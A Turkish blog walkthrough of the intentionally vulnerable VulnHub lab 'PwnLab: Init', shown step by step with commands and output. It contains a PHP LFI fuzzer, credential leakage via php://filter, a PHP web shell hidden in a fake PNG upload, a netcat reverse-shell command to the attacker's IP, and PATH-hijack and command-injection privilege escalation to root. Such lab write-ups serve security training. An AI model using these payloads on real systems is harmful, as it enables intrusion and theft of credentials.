İçeriğe geç

PWNLAB: INIT

Tarih: 13/06/2021 | Yazar: kuday

Makine Hakkında Bilgiler

Açıklama:
Difficulty: Low
Flag: /root/flag.txt

Vulnhub Sayfası:
https://www.vulnhub.com/entry/pwnlab-init,158/

İndirme Sayfası: https://download.vulnhub.com/pwnlab/pwnlab_init.ova

Walkthrough

Makinenin ip adresini tespit edelim.

┌──(root💀kali)-[/home/kali]
└─# ifconfig 
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.0.21  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::20c:29ff:fe4a:4d3f  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:4a:4d:3f  txqueuelen 1000  (Ethernet)
        RX packets 19  bytes 2274 (2.2 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1042  bytes 64120 (62.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 8  bytes 400 (400.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8  bytes 400 (400.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

┌──(root💀kali)-[/home/kali]
└─# arp-scan -l | grep 08:00:27:7b:2c:77

nmap taraması ile devam edelim.

┌──(root💀kali)-[/home/kali]
└─# nmap 192.168.0.13 -p- -A -T4
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-13 16:00 EDT
Nmap scan report for 192.168.0.13
Host is up (0.00092s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: PwnLab Intranet Image Hosting
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          33782/udp6  status
|   100024  1          51941/tcp6  status
|   100024  1          55263/udp   status
|_  100024  1          59971/tcp   status
3306/tcp  open  mysql   MySQL 5.5.47-0+deb8u1
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.47-0+deb8u1
|   Thread ID: 38
|   Capabilities flags: 63487
|   Some Capabilities: SupportsLoadDataLocal, Support41Auth, LongColumnFlag, IgnoreSpaceBeforeParenthesis, FoundRows, ODBCClient, SupportsTransactions, IgnoreSigpipes, Speaks41ProtocolNew, ConnectWithDatabase, LongPassword, InteractiveClient, SupportsCompression, DontAllowDatabaseTableColumn, Speaks41ProtocolOld, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins
|   Status: Autocommit
|   Salt: }R`js'dB\*[l.=(O5[KG
|_  Auth Plugin Name: mysql_native_password
59971/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:7B:2C:77 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.92 ms 192.168.0.13

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.42 seconds

mysql ve hppt... sanırı arka planda php var. Nikto taramasına bakalım.

┌──(root💀kali)-[/home/kali]
└─# nikto -h http://192.168.0.13/    
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.13
+ Target Hostname:    192.168.0.13
+ Target Port:        80
+ Start Time:         2021-06-13 16:05:00 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.10 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ IP address found in the 'location' header. The IP is "127.0.1.1".
+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Cookie PHPSESSID created without the httponly flag
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.php: Admin login page/section found.
+ 7915 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2021-06-13 16:06:13 (GMT-4) (73 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Login sayfasına sqlmap ile denemeler yaptım ancak başarılı olamadım. http://192.168.0.13/?page=upload gibi sayfalar vardı ve bu bana lfi olabileceğini düşündürdü. Bunu test etmek için bir kod yazdım. Aşağıda bu kodun çıktısı bulunmaktadır.

┌──(root💀kali)-[/home/…/oscp/pwnlab/lfi-fuzz/lfi-project]
└─# cat lfi-project.py      
import requests

http_proxy  = "http://127.0.0.1:8080"
proxyDict = {"http":http_proxy}

url = input("[*] Hedef URL'i giriniz:\r\n")

attackType = input("Lütfen LFI türünü seçiniz:\r\n1- Default\r\n2- Filter\r\n")
if(attackType == "1"):
    wordlistFile = open("lfi-wordlist.txt")
    wordlist = wordlistFile.read().split("\n")
    wordlistFile.close()
    for i in wordlist:
        r = requests.get(url+i, proxies=proxyDict)
        print("URL:",url+i,"    Code:",r.status_code,"    Size:",len(r.text))

elif(attackType == "2"):
    pages = open("common.txt")
    wordlist = pages.read().split("\n")
    pages.close()
    for i in wordlist:
        r = requests.get(url+"php://filter/convert.base64-encode/resource="+i, proxies=proxyDict)
        print("URL:",url+"php://filter/convert.base64-encode/resource="+i,"    Code:",r.status_code,"    Size:",len(r.text))
else:
    print("[*] Hatalı seçim!")

Bütün burdaki süreci kısaca açıklayayim. Bütün iletişimi burp'e yönlendirdim. Gelen isteklerin boyutlarına göre analiz etmeye başladım ve aşağıdaki adreslerde lfi tespit ettim.

?page=php://filter/convert.base64-encode/resource=upload
/?page=php://filter/convert.base64-encode/resource=login
/?page=php://filter/convert.base64-encode/resource=index 
/?page=php://filter/convert.base64-encode/resource=config

Şimdi bunları inceleyelim. config ile başladım.

GET /?page=php://filter/convert.base64-encode/resource=config HTTP/1.1
Host: 192.168.0.13
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

Cevap:

HTTP/1.1 200 OK

Date: Sun, 13 Jun 2021 23:59:50 GMT

Server: Apache/2.4.10 (Debian)

Vary: Accept-Encoding

Content-Length: 405

Connection: close

Content-Type: text/html; charset=UTF-8

<html>

<head>

<title>PwnLab Intranet Image Hosting</title>

</head>

<body>

<center>

<img src="images/pwnlab.png"><br />

[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]

<hr/><br/>

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+</center>

</body>

</html>

Bu kısmı decode ettiğimizde:

<?php
$server   = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Mysql bilgilerimizi elde ettik. Mysql'e bağlandım:

┌──(root💀kali)-[/home/…/oscp/pwnlab/lfi-fuzz/lfi-project]
└─# mysql -u root -h 192.168.0.13 -p                         
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 32650
Server version: 5.5.47-0+deb8u1 (Debian)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Users              |
+--------------------+
2 rows in set (0.002 sec)

MySQL [(none)]> use Users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [Users]> show tables;
+-----------------+
| Tables_in_Users |
+-----------------+
| users           |
+-----------------+
1 row in set (0.001 sec)

MySQL [Users]> select * from users;
+------+------------------+
| user | pass             |
+------+------------------+
| kent | Sld6WHVCSkpOeQ== |
| mike | U0lmZHNURW42SQ== |
| kane | aVN2NVltMkdSbw== |
+------+------------------+
3 rows in set (0.001 sec)

MySQL [Users]>

Elimizde bazı kullanıcılar var ve bu kullanıcıların parolaları base64 ile encode edilmiş. Kolayca decode edilebilir.
Sayfaların kaynak kodlarını incelerken ilginç bir ayrıntıyı yakaladım.

GET /?page=php://filter/convert.base64-encode/resource=index HTTP/1.1
Host: 192.168.0.13
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close

Cevap:

HTTP/1.1 200 OK
Date: Mon, 14 Jun 2021 00:00:17 GMT
Server: Apache/2.4.10 (Debian)
Vary: Accept-Encoding
Content-Length: 1097
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=</center>
</body>
</html>

Decode:

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
    if (isset($_GET['page']))
    {
        include($_GET['page'].".php");
    }
    else
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>
</center>
</body>
</html>

include("lang/".$_COOKIE['lang']); kısmı son derece önemli. Taramalar esnasında bir file upload sayfası bulmuştum ve burayı manipüle etmeyi denedim. En sonunda bir php kodu içeren dosya yükleyebildim. Aşağıda bunu bir isteği bulunmaktadır.

POST /?page=upload HTTP/1.1
Host: 192.168.0.13
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13866755612239220068481365210
Content-Length: 885
Origin: http://192.168.0.13
Connection: close
Referer: http://192.168.0.13/?page=upload
Cookie: PHPSESSID=dl7taaf9l643vsifgiijs538q5
Upgrade-Insecure-Requests: 1
-----------------------------13866755612239220068481365210
Content-Disposition: form-data; name="file"; filename="simple-backdoor.png"
Content-Type: image/png

GIF89a
÷ÿ
<?php

if(isset($_REQUEST['cmd'])){
        echo "<pre>";
        $cmd = ($_REQUEST['cmd']);
        system($cmd);
        echo "</pre>";
        die;
}

?>
Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd

<!--    http://michaeldaw.org   2006    -->

-----------------------------13866755612239220068481365210

Content-Disposition: form-data; name="submit"

Upload

-----------------------------13866755612239220068481365210--

Cevap:

HTTP/1.1 200 OK
Date: Mon, 14 Jun 2021 01:02:51 GMT
Server: Apache/2.4.10 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post
check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 541
Connection: close
Content-Type: text/html; charset=UTF-8

<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<html>
    <body>
        <form action='' method='post' enctype='multipart/form-data'>
            <input type='file' name='file' id='file' />
            <input type='submit' name='submit' value='Upload'/>
        </form>
    </body>
</html>
<img src="upload/a6484e3af8488113e8479a42be1eb68b.png"><br /></center>
</body>
</html>

Bunun üzerine aşağıdaki http isteğini çalıştırdım. Aşağıdaki Cookie alanına dikkat etmemiz gerekmektedir.

GET /?cmd=nc+192.168.0.21+1822+-e+/bin/bash HTTP/1.1
 HTTP/1.1
Host: 192.168.0.13
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie:lang=../upload/a6484e3af8488113e8479a42be1eb68b.png
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

Tabi yukarıdaki isteğin çalışması için bir dinleme noktası başlattım.

┌──(root💀kali)-[/home/…/oscp/pwnlab/lfi-fuzz/lfi-project]
└─# nc -lvp 1822                
listening on [any] 1822 ...
192.168.0.13: inverse host lookup failed: Unknown host
connect to [192.168.0.21] from (UNKNOWN) [192.168.0.13] 55263
ls
config.php
images
index.php
login.php
upload
upload.php
whoami
www-data
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@pwnlab:/var/www/html$

Biraz gezindim içeride ve mysql'den elde ettiğim bilgilerle kullanıcı değiştirdim.

www-data@pwnlab:/tmp$ su kent
su kent
Password: JWzXuBJJNy

kent@pwnlab:/tmp$ whoami
whoami
kent
kent@pwnlab:/home$ ls
ls
john  kane  kent  mike
kent@pwnlab:/home$ cd mike
cd mike
bash: cd: mike: Permission denied

Bunun üzerine başka kullanıcılara geçiş yapmayı denedim.

su kane
Password: iSv5Ym2GRo

kane@pwnlab:/home$ ls
ls
john  kane  kent  mike
kane@pwnlab:/home$ cd kane  
cd kane
kane@pwnlab:~$ ls
ls
msgmike
kane@pwnlab:~$ ls -al
ls -al
total 28
drwxr-x--- 2 kane kane 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 kane kane  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 kane kane 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike
-rw-r--r-- 1 kane kane  675 Mar 17  2016 .profile
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory

cat komutunu kullandığını görüyorum ve dosyanın sahibi mike. Bununn üzerine PATH değişkenini kullanarak yetki yükseltmeyi denedim.

kane@pwnlab:~$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ echo "/bin/sh" >> /tmp/cat
echo "/bin/sh" >> /tmp/cat
kane@pwnlab:~$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
kane@pwnlab:~$ echo $PATH
echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
kane@pwnlab:~$ ls
ls
msgmike
kane@pwnlab:~$ ./msgmike
./msgmike
cat: /home/mike/msg.txt: No such file or directory
kane@pwnlab:~$ chmod 777 /tmp/cat
chmod 777 /tmp/cat
kane@pwnlab:~$ ./msgmike
./msgmike
$ whoami
whoami
mike

Harika! Araştırma yapmaya devam ettim.

$ cd mike
cd mike
$ ls
ls
msg2root
$ ls -al
ls -al
total 28
drwxr-x--- 2 mike mike 4096 Mar 17  2016 .
drwxr-xr-x 6 root root 4096 Mar 17  2016 ..
-rw-r--r-- 1 mike mike  220 Mar 17  2016 .bash_logout
-rw-r--r-- 1 mike mike 3515 Mar 17  2016 .bashrc
-rwsr-sr-x 1 root root 5364 Mar 17  2016 msg2root
-rw-r--r-- 1 mike mike  675 Mar 17  2016 .profile

Gördüğümüz gibi msg2root dosyası root kullanıcısına ait.

./msg2root
Message for root: 

$ id
id
uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)
$ strings ./msg2root    
strings ./msg2root
/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
stdin
fgets
asprintf
system
__libc_start_main
__gmon_start__
GLIBC_2.0
PTRh
[^_]
Message for root: 
/bin/echo %s >> /root/messages.txt
;*2$"(
GCC: (Debian 4.9.2-10) 4.9.2
GCC: (Debian 4.8.4-1) 4.8.4
.symtab
...
...

Kullanıcıdan alınan değişken direkt olarak /root kalsöü altındaki messages.txt dosyasına yazılıyor. Burada parametre aracılığı ile kod çalıştırabiliriz gibi duruyor.

bash-4.3$ ls
ls
msg2root
bash-4.3$ ./msg2root
./msg2root
Message for root: test
test
test
bash-4.3$ 

bash-4.3$ 

bash-4.3$ ./msg2root
./msg2root
Message for root: test; whoami;
test; whoami;
test
root

Harika! Şimdi direkt root olalım ve flagi okuyalım.

bash-4.3$ ./msg2root
./msg2root
Message for root: test; /bin/sh
test; /bin/sh
test
# whoami
whoami
root
# cd /root
cd /root
# ls          
ls
flag.txt  messages.txt
# wc flag.txt
wc flag.txt
  23  196 1840 flag.txt
# head -n 23 flag.txt
head -n 23 flag.txt
.-=~=-.                                                                 .-=~=-.
(__  _)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(__  _)
(_ ___)  _____                             _                            (_ ___)
(__  _) /  __ \                           | |                           (__  _)
( _ __) | /  \/ ___  _ __   __ _ _ __ __ _| |_ ___                      ( _ __)
(__  _) | |    / _ \| '_ \ / _` | '__/ _` | __/ __|                     (__  _)
(_ ___) | \__/\ (_) | | | | (_| | | | (_| | |_\__ \                     (_ ___)
(__  _)  \____/\___/|_| |_|\__, |_|  \__,_|\__|___/                     (__  _)
( _ __)                     __/ |                                       ( _ __)
(__  _)                    |___/                                        (__  _)
(__  _)                                                                 (__  _)
(_ ___) If  you are  reading this,  means  that you have  break 'init'  (_ ___)
( _ __) Pwnlab.  I hope  you enjoyed  and thanks  for  your time doing  ( _ __)
(__  _) this challenge.                                                 (__  _)
(_ ___)                                                                 (_ ___)
( _ __) Please send me  your  feedback or your  writeup,  I will  love  ( _ __)
(__  _) reading it                                                      (__  _)
(__  _)                                                                 (__  _)
(__  _)                                             For sniferl4bs.com  (__  _)
( _ __)                                [email protected] - @Chronicoder  ( _ __)
(__  _)                                                                 (__  _)
(_ ___)-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-=-._.-(_ ___)
`-._.-'                                                                 `-._.-'
#
Kategori:Walkthrough

İlk Yorumu Siz Yapın

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir